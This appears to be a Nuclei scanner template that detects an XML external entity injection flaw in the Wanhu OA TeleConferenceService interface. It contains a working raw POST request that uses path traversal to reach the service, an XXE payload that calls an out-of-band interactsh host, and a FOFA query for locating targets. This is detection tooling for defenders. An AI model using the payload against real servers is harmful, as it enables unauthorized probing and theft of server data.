wanhu-teleconferenceservice-xxe: Wanhu OA TeleConferenceService Interface - XML External Entity Injection

id: wanhu-teleconferenceservice-xxe

info:
  name: Wanhu OA TeleConferenceService Interface - XML External Entity Injection
  author: SleepingBag945
  severity: high
  description: |
    There is an XXE injection vulnerability in the Wanhu OA TeleConferenceService interface. An attacker can use the vulnerability to continue XXE injection to obtain sensitive information on the server.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/万户OA/万户OA%20TeleConferenceService%20XXE注入漏洞.html
    - https://github.com/Threekiii/Awesome-POC/blob/master/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E4%B8%87%E6%88%B7OA%20TeleConferenceService%20XXE%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="万户网络-ezOFFICE"
  tags: wanhu,oa,xxe,vuln

http:
  - raw:
      - |
        POST /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../TeleConferenceService HTTP/1.1
        Host: {{Hostname}}

        <?xml version="1.0" encoding="UTF-8" ?>
        <!DOCTYPE ANY [
        <!ENTITY xxe SYSTEM "http://{{interactsh-url}}" >]>
        <value>&xxe;</value>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "<response>"
          - "<retcode>"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"
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